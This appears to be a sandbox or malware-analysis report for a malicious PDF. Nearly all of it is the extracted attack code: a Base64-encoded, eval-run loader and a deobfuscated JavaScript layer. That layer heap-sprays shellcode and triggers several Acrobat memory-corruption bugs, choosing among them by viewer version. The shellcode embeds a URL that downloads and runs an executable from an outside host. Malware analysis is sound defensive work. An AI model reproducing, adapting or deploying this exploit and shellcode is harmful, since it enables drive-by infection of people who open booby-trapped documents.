jFNRGcxT0NWMU1EbEZRaVYxTkRBNFFpVjFPRVF6TkNWMU4wTTBNQ1YxTlRnNFFpVjFOa0V6UXlWMU5VRTBSU1YxUlRKRU1TVjFSVEl5UWlWMVJVTTRRaVYxTkRWRE55VjFOa1V4TUNWMU5qVXlSU1YxUXpjM09DVjFNVFEwTlNWMU1ERkdSaVYxTURBd01DVjFORFZETnlWMU1EQXdNQ1YxTURBd01DVjFSVUl3TUNWMU5VRTBSaVYxT0RNMU1pVjFOVFpGUVNWMU5UVTRPU1YxTlRZeE9DVjFPRUkxTnlWMU0wTTNNeVYxTnpRNFFpVjFOemd6TXlWMVJqTXdNeVYxT0VJMU5pVjFNakEzTmlWMVJqTXdNeVYxUXprek15VjFOVEEwT1NWMVFVUTBNU1YxUmtZek15VjFNRVl6TmlWMU1UUkNSU1YxTXpnd015VjFOelJHTWlWMVF6RXdPQ1YxTUVSRFJpVjFSa0V3TXlWMVJVSTBNQ1YxTlRoRlJpVjFSamd6UWlWMVJUVTNOU1YxT0VJMVJTVjFNalEwTmlWMVF6TXdNeVYxT0VJMk5pVjFORGd3UXlWMU5UWTRRaVYxTURNeFF5VjFPRUpFTXlWMU9FRXdOQ1YxUXpNd015VjFOVVUxUmlWMVF6TTFNQ1YxTjBRNFJDVjFOVGN4UXlWMVFqZzFNaVYxUTBFek15VjFOVUk0UVNWMVFUSkZPQ1YxUmtaR1JpVjFNekpHUmlWMU9FSkRNQ1YxUmpKR055VjFORVpCUlNWMU5EVTRRaVYxUVVJeE1DVjFPVGcyTmlWMVFVSTJOaVYxUXpBek15VjFOakZDT0NWMU1EQTJOQ1YxTlRBd01DVjFOVFEyT0NWMU56STJPQ1YxTXpVMk5TVjFNVU15TkNWMU56UTJPU1YxTlRRMU1DVjFRamcxTXlWMVJrTkJRU1YxTjBNd1JDVjFOVFZHUmlWMU9ETXhPQ1YxTUVORE5DVjFRakExTUNWMU9FRTJReVYxT1RoRk1DVjFOamcxTUNWMU5rVTJSaVYxTmpReVJTVjFOelUyT0NWMU5rTTNNaVYxTlRRMlJDVjFPRVZDT0NWMU1FVTBSU1YxUmtaRlF5VjFNVGcxTlNWMVF6UTRNeVYxT1RNd1F5VjFNek0xTUNWMU5UQkRNQ1YxTlRZMU1DVjFOVFU0UWlWMU1ETXhPQ1YxTVRRMU5TVjFOVEExTWlWMU16WkNPQ1YxTWtZeFFTVjFSa1kzTUNWMU1UZzFOU1YxT0RNMVFpVjFNREEzUkNWMU1FWXdNU1YxT1VVNE5TVjFNREF3TUNWMU5rRXdNQ1YxTmpnd01DVjFNREE0TUNWMU1EQXdNQ1YxTURNMlFTVjFNREEyUVNWMU1ETTJRU1YxTURBMk9DVjFNREF3TUNWMU5UWkRNQ1YxUVRWQ09DVjFNREF4TnlWMVJrWTNReVYxTVRnMU5TVjFORFU0T1NWMU5rRXdOQ1YxTmpnd05DVjFNVEF3TUNWMU1EQXdNQ1YxTURBMk9DVjFNRGd3TUNWMU5rRXdNQ1YxUWpnd01DVjFRMEUxTkNWMU9URkJSaVYxTlRWR1JpVjFPRGt4T0NWMU1FTTBOU1YxTmtFMU1DVjFPRVF3TUNWMU1EZzBSQ1YxTmpnMU1TVjFNREF3TUNWMU1EQXdPQ1YxUmtZMU1DVjFNRFEzTlNWMU1UWkNPQ1YxUmtFMk5TVjFSa1l4TUNWMU1UZzFOU1YxT0VJMVJpVjFPRE14TnlWMU1EUkROeVYxTkVRNFFpVjFPRE13T0NWMU1EUkZPU1YxUVRkRk9DVjFNREF3TUNWMU5rRXdNQ1YxTmtFd01DVjFOa0V3TUNWMVJrWXdNQ1YxTURRM05TVjFRVU5DT0NWMVJFRXdPQ1YxUmtZM05pVjFNVGcxTlNWMU1EQTJRU1YxTkVRNFJDVjFOVEV3T0NWMU56VkdSaVYxUmtZd09DVjFNRU0zTlNWMU1EUTRNeVYxTURReU5DVjFOelZHUmlWMVFqZ3dOQ1YxTnpreFJpVjFSVGd3UVNWMU5UVkdSaVYxUmtZeE9DVjFNRFEzTlNWMVJrSkNPQ1YxUmtRNU55VjFSa1l3UmlWMU1UZzFOU1YxTkRWRE55VjFNREl3TUNWMU1EQXdNQ1YxTlRjd01DVjFRamcxTmlWMVJrVTVPQ1YxTUVVNFFTVjFOVFZHUmlWMVJVSXhPQ1YxTVRneVFTVjFSamt5UVNWMVJESkNOeVYxUWpNM055VjFORFV3TVNWMU9USTRRU1YxUVVSQ055VjFOVVExTUNWMU5qZEZOQ1YxUlRaR05TVjFNVUZETnlWMVFVSkNSaVYxTVRBeFJTVjFOelkwTWlWMVFURkJNaVYxTmpNMU5DVjFOMEl3T1NWMVFqQTRPU1YxT1RkR05DVjFOek0wUlNWMU0wWTVNeVYxT0ROR01TVjFNREEzUkNWMU56UXdNaVYxUXpjMk1DVjFNREEwTlNWMU1EQXdNU1YxTURBd01DVjFORFZETnlWMU56a3hNQ1YxTmpVeVJTVjFRemMzT0NWMU1UUTBOU1YxTURFM01pVjFNREF3TUNWMU4wUTRRaVYxTURNeE9DVjFNVFEzUkNWMU1qWkNPU1YxTURBd01DVjFPRUl3TUNWMVJrTTFOeVYxTURWRk9DVjFNREF3TUNWMVJUa3dNQ1YxUmtVM1F5VjFSa1pHUmlWMVF6QXpNeVYxTURjNFFTVjFRemhFTWlWMVF6RXpNaVYxUkRCR05pVjFRelV6TWlWMVF6SXpNaVYxUXpZek1pVjFRekJFTWlWMVF6RXdNaVYxUXpVd01pVjFRekl3TWlWMVF6WXdNaVYxUXpoRU1pVjFRekV5UVNWMVF6VXlRU1YxUkRCR05pVjFRekl5UVNWMVF6WXlRU1YxUXpCRU1pVjFRekpFTXlWMVEwRXdSaVYxTURjNE9DVjFORGswTnlWMVEwVTNOU1YxUXpORE15VjFOelEyT0NWMU56QTNOQ1YxTWtZelFTVjFOelF5UmlWMU1rVTNOQ1YxTmtNMk15VjFOakkzTlNWMU4wRTJSaVYxTmpNeVJTVjFNa1kyUlNWMU5qY3lSaVYxTnpRMk5TVjFOemcyTlNWMU1rVTJOU1YxTmpnM01DVjFNMFkzTUNWMU56QTNNeVYxTTBRMlF5VjFOalEzTUNWMU1EQTJOaUlwTzMwS0lDQjJZWElnUWtJNWJWVXdibkJyVDJOVGIzTlFRaUE5SURCNE5EQXdNREF3TzNaaGNpQnhlVzFQY25vMk5uSkZiSGN3WkZjeElEMGdjekJaWWsxMFJHaEZjakJtTlhWeVlTNXNaVzVuZEdnZ0tpQXlPM1poY2lCdU9UZFRUVWxKYWs0NU1UTTROMXBLSUQwZ1FrSTViVlV3Ym5CclQyTlRiM05RUWlBdElDaHhlVzFQY25vMk5uSkZiSGN3WkZjeElDc2dNSGd6T0NrN2RtRnlJSHBsYW5GTmFuQnpVVFl4T1ZWVFZrWWdQU0IxYm1WelkyRndaU2dpSlhVNU1Ea3dKWFU1TURrd0lpazdlbVZxY1UxcWNITlJOakU1VlZOV1JpQTlJRXRZWkhGVVJFSnhUalp3UjJWNU4xY29lbVZxY1UxcWNITlJOakU1VlZOV1Jpd2diamszVTAxSlNXcE9PVEV6T0RkYVNpazdkbUZ5SUZabWJrcHZZamxhZW13emIyUlNNV1lnUFNBb1UzZEtXSFpLTVRGTFltRnVhRkZHZUNBdElEQjROREF3TURBd0tTQXZJRUpDT1cxVk1HNXdhMDlqVTI5elVFSTdabTl5SUNoMllYSWdiMjAwU0cwd1RXUlBPR0ZZYXpoWldpQTlJREE3SUc5dE5FaHRNRTFrVHpoaFdHczRXVm9nUENCV1ptNUtiMkk1V25wc00yOWtVakZtT3lCdmJUUkliVEJOWkU4NFlWaHJPRmxhSUNzcklDbDdkRXczUmpaMllVeE9NSFI2ZEZvNWNGdHZiVFJJYlRCTlpFODRZVmhyT0ZsYVhTQTlJSHBsYW5GTmFuQnpVVFl4T1ZWVFZrWWdLeUJ6TUZsaVRYUkVhRVZ5TUdZMWRYSmhPMzE5Q21aMWJtTjBhVzl1SUdOTWMySjRNa0ozYlVSc1VXVnNOalVvS1hzS0lDQjJZWElnU1RCTVMwcHBlV2h4V1VaaVptOUJVeUE5SURBN2RtRnlJR00wTkRnMVJUVnlVbkJKTjJKUFFqQWdQU0JoY0hBdWRtbGxkMlZ5Vm1WeWMybHZiaTUwYjFOMGNtbHVaeWdwTzJGd2NDNWpiR1ZoY2xScGJXVlBkWFFvYmtSWlEyVm9lbmxYYUVjNWFGQlNUaWs3Q2lBZ2FXWWdLR00wTkRnMVJUVnlVbkJKTjJKUFFqQWdQQ0EzTGpFcGV3b2dJQ0FnVFVsQk9ESjZNVk0xTVdGYVV6ZHdVeWd3S1RzS0lDQWdJSFpoY2lCMlYxVnlSbE5hTmpKd1oyaGtjakJ1SUQwZ2RXNWxjMk5oY0dVb0lpVjFNR013WXlWMU1HTXdZeUlwTzNkb2FXeGxJQ2gyVjFWeVJsTmFOakp3WjJoa2NqQnVMbXhsYm1kMGFDQThJRFEwT1RVeUtYWlhWWEpHVTFvMk1uQm5hR1J5TUc0Z0t6MGdkbGRWY2taVFdqWXljR2RvWkhJd2JqdDBhR2x6SUM1amIyeHNZV0pUZEc5eVpTQTlJRU52Ykd4aFlpNWpiMnhzWldOMFJXMWhhV3hKYm1adktIdHpkV0pxSURvZ0lpSXNJRzF6WnlBNklIWlhWWEpHVTFvMk1uQm5hR1J5TUc1OUtUdDlDbWxtSUNoak5EUTROVVUxY2xKd1NUZGlUMEl3SUQ0OUlEa3Bld29nSUNBZ2RISjVJSHRwWmlBb1lYQndMbVJ2WXk1RGIyeHNZV0l1WjJWMFNXTnZiaWw3VFVsQk9ESjZNVk0xTVdGYVV6ZHdVeWd5S1R0MllYSWdhME4yZWxKNmNYUndNSHBSV0VKaE5pQTlJSFZ1WlhOallYQmxLQ0lsTURraUtUc0tkMmhwYkdVZ0tHdERkbnBTZW5GMGNEQjZVVmhDWVRZdWJHVnVaM1JvSUR3Z01IZzBNREF3S1d0RGRucFNlbkYwY0RCNlVWaENZVFlnS3owZ2EwTjJlbEo2Y1hSd01IcFJXRUpoTmp0clEzWjZVbnB4ZEhBd2VsRllRbUUySUQwZ0lrNHVJaUFySUd0RGRucFNlbkYwY0RCNlVWaENZVFk3WVhCd0xtUnZZeTVEYjJ4c1lXSXVaMlYwU1dOdmJpaHJRM1o2VW5weGRIQXdlbEZZUW1FMktUdEpNRXhMU21sNWFIRlpSbUptYjBGVElEMGdNVHQ5Wld4elpTQjdTVEJNUzBwcGVXaHhXVVppWm05QlV5QTlJREU3ZlgxallYUmphQ0FvWlNsN1NUQk1TMHBwZVdoeFdVWmlabTlCVXlBOUlERTdmV2xtSUNoSk1FeExTbWw1YUhGWlJtSm1iMEZUSUQwOUlERXBlMmxtSUNnb1l6UTBPRFZGTlhKU2NFazNZazlDTUNBK1BTQTNMakVtSmlCak5EUTROVVUxY2xKd1NUZGlUMEl3SUR3Z09Ta3BlMDFKUVRneWVqRlROVEZoV2xNM2NGTW9NU2s3ZG1GeUlHYzJkM2RZVnpOYVRHbEhlbHBRYmxVZ1BTQWlNVEk1T1RrNU9UazVPVGs1T1RrNU9UazVPVGtpTzJadmNpQW9hR2xVTldsTGVWaFVlSGt4T1ZvMmNTQTlJREE3SUdocFZEVnBTM2xZVkhoNU1UbGFObkVnUENBeU56WTdJR2hwVkRWcFMzbFlWSGg1TVRsYU5uRWdLeXNnS1h0bk5uZDNXRmN6V2t4cFIzcGFVRzVWSUNzOUlDSTRJanQ5ZFhScGJDNXdjbWx1ZEdZb0lpVTBOVEF3TUdZaUxDQm5ObmQzV0ZjeldreHBSM3BhVUc1VktUdDlmWDE5Q21Gd2NDNVZNMjVEV1hGc2RGa3pkRGxUWjJRMklEMGdZMHh6WW5neVFuZHRSR3hSWld3Mk5UdHVSRmxEWldoNmVWZG9SemxvVUZKT0lEMGdZWEJ3TG5ObGRGUnBiV1ZQZFhRb0ltRndjQzVWTTI1RFdYRnNkRmt6ZERsVFoyUTJLQ2tpTENBeE1Dazc="); eval(decode64(aasd));
`custom_b64_stage_000.js`	deobfuscated-js	custom Base64 decoded JavaScript layer 2 (PDF /JS object 9) at offset 0x436	10455 bytes
SHA-256: `d243fd68a902ca738da7375d1e36f0c461224a2b00632a10b64da73ea95636d2`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var tL7F6vaLN0tztZ9p = new Array(); var nDYCehzyWhG9hPRN; function KXdqTDBqN6pGey7W(zejqMjpsQ619USVF, n97SMIIjN91387ZJ){while (zejqMjpsQ619USVF.length * 2 < n97SMIIjN91387ZJ){zejqMjpsQ619USVF += zejqMjpsQ619USVF;}zejqMjpsQ619USVF = zejqMjpsQ619USVF.substring(0, n97SMIIjN91387ZJ / 2); return zejqMjpsQ619USVF;} function Jt2cjnVIpPQH65MU(mw0gjfyZ5Pq0TDee){ var LQo17nZADQKheyLO = unescape("%u9090%u9090"); var xWaceFWjsSy5T5uX = mw0gjfyZ5Pq0TDee - 0x700000; var OEGOUn9MG7QjAKH9 = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u742F%u2E74%u6C63%u6275%u7A6F%u632E%u2F6E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066"); while (LQo17nZADQKheyLO.length<slackspace) LQo17nZADQKheyLO+=LQo17nZADQKheyLO; OEGOUn9MG7QjAKH9 = mw0gjfyZ5Pq0TDee.substring(0, mw0gjfyZ5Pq0TDee);} function MIA82z1S51aZS7pS(awubECKcKKeRRDlC){ var SwJXvJ11KbanhQFx = 0x0c0c0c0c;var s0YbMtDhEr0f5ura = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u742F%u2E74%u6C63%u6275%u7A6F%u632E%u2F6E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");if (awubECKcKKeRRDlC == 1){SwJXvJ11KbanhQFx = 0x30303030;s0YbMtDhEr0f5ura = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u742F%u2E74%u6C63%u6275%u7A6F%u632E%u2F6E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");} else if (awubECKcKKeRRDlC == 2){s0YbMtDhEr0f5ura = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u742F%u2E74%u6C63%u6275%u7A6F%u632E%u2F6E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");} var BB9mU0npkOcSosPB = 0x400000;var qymOrz66rElw0dW1 = s0YbMtDhEr0f5ura.length * 2;var n97SMIIjN91387ZJ = BB9mU0npkOcSosPB - (qymOrz66rElw0dW1 + 0x38);var zejqMjpsQ619USVF = unescape("%u9090%u9090");zejqMjpsQ619USVF = KXdqTDBqN6pGey7W(zejqMjpsQ619USVF, n97SMIIjN91387ZJ);var VfnJob9Zzl3odR1f = (SwJXvJ11KbanhQFx - 0x400000) / BB9mU0npkOcSosPB;for (var om4Hm0MdO8aXk8YZ = 0; om4Hm0MdO8aXk8YZ < VfnJob9Zzl3odR1f; om4Hm0MdO8aXk8YZ ++ ){tL7F6vaLN0tztZ9p[om4Hm0MdO8aXk8YZ] = zejqMjpsQ619USVF + s0YbMtDhEr0f5ura;}} function cLsbx2BwmDlQel65(){ var I0LKJiyhqYFbfoAS = 0;var c4485E5rRpI7bOB0 = app.viewerVersion.toString();app.clearTimeOut(nDYCehzyWhG9hPRN); if (c4485E5rRpI7bOB0 < 7.1){ MIA82z1S51aZS7pS(0); var vWUrFSZ62pghdr0n = unescape("%u0c0c%u0c0c");while (vWUrFSZ62pghdr0n.length < 44952)vWUrFSZ62pghdr0n += vWUrFSZ62pghdr0n;this .collabStore = Collab.collectEmailInfo({subj : "", msg : vWUrFSZ62pghdr0n});} if (c4485E5rRpI7bOB0 >= 9){ try {if (app.doc.Collab.getIcon){MIA82z1S51aZS7pS(2);var kCvzRzqtp0zQXBa6 = unescape("%09"); while (kCvzRzqtp0zQXBa6.length < 0x4000)kCvzRzqtp0zQXBa6 += kCvzRzqtp0zQXBa6;kCvzRzqtp0zQXBa6 = "N." + kCvzRzqtp0zQXBa6;app.doc.Collab.getIcon(kCvzRzqtp0zQXBa6);I0LKJiyhqYFbfoAS = 1;}else {I0LKJiyhqYFbfoAS = 1;}}catch (e){I0LKJiyhqYFbfoAS = 1;}if (I0LKJiyhqYFbfoAS == 1){if ((c4485E5rRpI7bOB0 >= 7.1&& c4485E5rRpI7bOB0 < 9)){MIA82z1S51aZS7pS(1);var g6wwXW3ZLiGzZPnU = "12999999999999999999";for (hiT5iKyXTxy19Z6q = 0; hiT5iKyXTxy19Z6q < 276; hiT5iKyXTxy19Z6q ++ ){g6wwXW3ZLiGzZPnU += "8";}util.printf("%45000f", g6wwXW3ZLiGzZPnU);}}}} app.U3nCYqltY3t9Sgd6 = cLsbx2BwmDlQel65;nDYCehzyWhG9hPRN = app.setTimeOut("app.U3nCYqltY3t9Sgd6()", 10);

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 12

Related samples 2

Extracted artifacts 2